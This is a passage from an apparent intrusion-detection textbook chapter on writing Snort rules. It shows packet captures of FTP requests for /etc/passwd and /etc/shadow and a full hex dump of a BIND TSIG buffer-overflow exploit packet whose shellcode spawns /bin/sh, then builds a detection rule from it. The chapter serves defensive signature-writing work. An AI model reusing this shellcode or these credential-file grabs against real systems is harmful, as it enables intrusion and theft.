TCP TTL:128 TOS:0x0 ID:50697 IpLen:20 DgmLen:58 DF

***AP*** Seq: 0x17806739 Ack: 0x121C07E5 Win: 0x1FD3 TcpLen: 20

A directory named 10.10.10.101 was created with a file named TCP:1454-21 to record the session exchange of the attempted password file access and 10 subsequent records. Note that the command line used the –d option to capture and dump the data payload. This is

an excerpt of the output:

03/21-20:31:05.610035 10.10.10.101:1454 -> 10.10.10.100:21

TCP TTL:128 TOS:0x0 ID:50697 IpLen:20 DgmLen:58				DF
***AP***		Seq: 0x17806739 Ack: 0x121C07E5	Win:	0x1FD3 TcpLen: 20
52	45 54	52 20 2F 65 74 63 2F 70 61 73 73	77 64	RETR /etc/passwd
0D	0A			..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 03/21-20:31:05.610731 10.10.10.100:21 -> 10.10.10.101:1454

TCP TTL:64 TOS:0x10 ID:1752 IpLen:20 DgmLen:109															DF	TcpLen: 20
***AP***		Seq: 0x121C07E5					69	Ack: 0x1780674B					Win:		0x7D78
31 35	30	20	4F	70	65	6E		6E	67	20	41	53	43	49	150 Opening ASCI
49 20	6D	6F	64	65	20	64	61	74	61	20	63	6F	6E	6E	I mode	data conn
65 63	74	69	6F	6E	20	66	6F	72	20	2F	65	74	63	2F	ection	for /etc/
70 61	73	73	77	64	20	28	36	37	39	20	62	79	74	65	passwd	(679 byte
73 29	2E	0D	0A												s)...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

<omitted boring records>

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/21-20:31:08.924038 10.10.10.101:1454 -> 10.10.10.100:21 TCP TTL:128 TOS:0x0 ID:52489 IpLen:20 DgmLen:58 DF

***AP***			Seq: 0x17806764 Ack: 0x121C0860	Win:	0x1F58 TcpLen: 20
52	45	54	52 20 2F 65 74 63 2F 73 68 61 64	6F 77	RETR /etc/shadow
0D	0A				..

Putting It All Together

Now that you've endured the tedium to understand Snort rules, you might be wondering how you would write a rule for a new exploit that was released. Chances are that the user/developer population of Snort will have a new rule out for a current exploit very quickly. But, assume you have some code that professes to be an attack for which no Snort rule exists.

The first thing to do is to execute the exploit code in an isolated test network such as your home or a segregated lab environment at work. If the code works as advertised, record the packet exchange between the attacking and victim hosts. Then, look for unique and repeatable values in the packet that can be used to write a signature or rule. You might have to read some RFCs to become acquainted with the protocol used in the exploit to

understand which are repeatable and which are modifiable values.

Suppose you downloaded some code that exploited a buffer overflow condition for DNS TSIG (transaction signature) records. This is an actual attack that was effective against unpatched versions of BIND from 4.x up to, but not including, 8.2.3. A TSIG record in DNS is another resource record type like an address or pointer record. It is used by resolvers and for dynamic updates to ensure the integrity of an exchanged DNS record using a cryptographic one-way hash and shared secret key.

Because the exploit attempts to get access to a shell at the privilege level that BIND (the "named" daemon) runs at, the captured traffic from the exploit should be examined for this signature. Here is the packet that contains the buffer overflow and subsequent attempt to

get shell access:

02/22-15:33:19.472301 ATTACKER:1024 -> VICTIM:53

UDP TTL:64 TOS:0x0 ID:6755 IpLen:20 DgmLen:538

Len: 518

DE AD 01 80 00 07 00 00 00 00 00 01 3F 00 01 02															............			?	...
03	04	05	06	07	08	09	0A	0B	0C 0D	0E	0F	10	11	12	................				!"
13	14	15	16	17	18	19	1A	1B	1C 1D	1E	1F	20	21	22	.............
23	24	25	26	27	28	29	2A	2B	2C 2D	2E	2F	30	31	32	#$%&'()*+,-./012
33	34	35	36	37	38	39	3A	3B	3C EB 0A 02 00 00 C0 3456789:;<......										F.
00	00	00	00	00	3F	00	01	EB 44 5E 29 C0 89 46 10 .....?									...	D^)..
40	89	C3	89	46	0C	40	89	46	08 8D	4E	08	B0	66	CD @...		F.@.F..N..f.
80	43	C6	46	10	10	66	89	5E	14 88	46	08	29	C0	89	.C.F..f.^..F.)..
C2	89	46	18	B0	90	66	89	46	16 8D	4E	14	89	4E	0C	..F...		f.F..N..N.
8D	4E	08	EB 07 C0 00 00 00 00 00 3F EB 02 EB 43 .N.........															?...	C
B0	66	CD 80 89 5E 0C 43 43 B0 66 CD 80 89 56 0C .f...														^.CC.f...			V.
89	56	10	B0	66	43	CD 80 86 C3 B0 3F 29 C9 CD 80 .V..fC											?A.....	?)	...
B0	3F	41	CD 80 B0 3F 41 CD 80 88 56 07 89 76 0C .?A...															...V..v.
87	F3	8D	4B	0C	B0	0B CD 80 EB 07 C0 00 00 00 00 ...K										............		/bin/sh.
00	3F	90	E8	72	FF FF FF 2F 62 69 6E 2F 73 68 00 .?..r...
0E	0F	10	11	12	13	14 15		16	17 18	19	1A	1B	1C	1D	..................!"#$%&'()*+,-
1E	1F	20	21	22	23	24 25		26	27 28	29	2A	2B	2C	2D
2E	2F	30	31	32	33	34 35		36	37 38	39	3A	3B	3C	EB ./0123456789:;<.
07	C0	00	00	00	00	00 3F		00	01 02	03	04	05	06	07	.......		?	........
08	09	0A	0B	0C	0D	0E 0F		10	11 12	13	14	15	16	17	................			!"#$%&'
18	19	1A	1B	1C	1D	1E 1F		20	21 22	23	24	25	26	27	........
28	29	2A	2B	2C	2D	2E 2F		30	31 32	33	34	35	36	37	()*+,-./01234567
38	39	3A	3B	3C	EB 07 C0 00 00 00 00 00 3F 00 01 89:;<........														?..
02	03	04	05	06	07	08 09		0A	0B 0C	0D	0E	0F	10	11	................			|	@
D8	FA FF BF D8 F7 FF BF D0 7C 0D 08 04 F7 10 40														.........
22	23	24	25	26	27	28 29		2A	2B 2C	2D	2E	2F	30	31	"#$%&'()*+,-./01
32	33	34	35	36	37	38 39		3A	3B 3C	EB 07 C0 00 00 23456789:;<.....
00	00	00	3F	00	01	02 03		04	05 06	07	08	09	0A	0B	...?	............
0C	0D	0E	0F	10	11	12 13		14	15 16	17	18	19	1A	1B	....................!"#$%&'()*+
1C	1D	1E	1F	20	21	22 23		24	25 26	27	28	29	2A	2B
2C	2D	2E	2F	30	31	32 33		34	35 36	37	38	39	3A	3B	,-./0123456789:;
3C	EB 07 C0 00 00 00 00 00 00 00 FA 00 FF <.............

One obvious signature is the /bin/sh, which attempts to give shell access after a successful buffer overflow. Another signature of this output is that there must be some identification that a DNS TSIG record has been used.

The DNS type is a 2-byte field and a TSIG record will be assigned a value of 250 (0x00FA). There must also be a 2-byte DNS class associated with each different resource record type and the value assigned to a TSIG record is 255 (0x00FF)—to mean any class. Therefore, there must be an occurrence of 0x00FA00FF in the DNS payload for this to be a TSIG record. You would not find the occurrence of the string "/bin/sh" in a normal TSIG query, so looking for both of these values is likely to find malicious records without alerting on false positives. Although other values in this particular packet could be used for the rule, it is possible to alter the source code so that the exploit would still work, yet the DNS header

or following TSIG records could change. Here is a rule that can detect the exploit: alert udp $EXTERNAL_NET any -> $HOME_NET 53 \

(msg: "EXPLOIT BIND tsig Overflow Attempt"; \ content: "|00 FA 00 FF|"; offset: 12; \ content: "/bin/*sh"; regex; offset: 12;)

The observed traffic uses UDP, and you want to look for attackers coming into your network from an outside host on any port to destination port 53. Two separate content options are used to find the multiple occurrences of strings that are in the signature. The option of regex is used in case a shell other than the Bourne shell is used. The regex option is a work in progress and doesn't always work as advertised in Snort version 1.8.3. In the previous example, it failed to work when included with the wildcard search of "/bin/*sh", but it will be fixed and should work in the upcoming version 2.x releases.

Also, the content strings are qualified using an offset of 12 indicating that the search is to begin at the 12th byte offset from the beginning of the DNS message. This is done for efficiency and accuracy because the DNS header takes up the first 12 bytes and the search to be performed is on the DNS payload, not the DNS header.

The TSIG Exploit

If you would like more information about TSIG, look at RFC 2845 titled, "Secret Key Transaction Authentication for DNS (TSIG)." More information about the exploit can be found at the Carnegie Mellon CERT site, www.cert.org, advisory CA- 2001-02. There is a wonderful write-up of the exploit done by Paul Asadoorian,

which can be found at www.sans.org/newlook/resources/IDFAQ/TSIG.htm. Many thanks to Paul

for his discussion of the Snort rule and the attack output.

Summary

Snort rule options provide a wide range of attributes and ways to specify values to examine in a packet. The use of the options is quite intuitive and requires only some familiarization of the various options via experimentation or reading the Snort documentation. With virtually each new release of Snort, more options have been added, making Snort rules feature-rich and comparable or better than many of the commercial NIDS' signature writing capabilities.

To create a Snort rule for some exploit, run the exploit in an isolated environment and record the traffic either using Snort or TCPdump in a mode where the entire packet is

captured for examination. Use any available Snort rule header fields or options to precisely identify the unique values and attributes of the exploit packets. Be aware that some aspects of the exploit source code can be changed to alter the packet content; so, attempt to extract the values or fields that are not likely to change when creating your rule. Selecting and qualifying appropriate fields and values to be used is not an easy thing to do because good signature writing is truly a practiced art that requires knowledge about the signature language, the exploit, and the protocol involved in the exploit.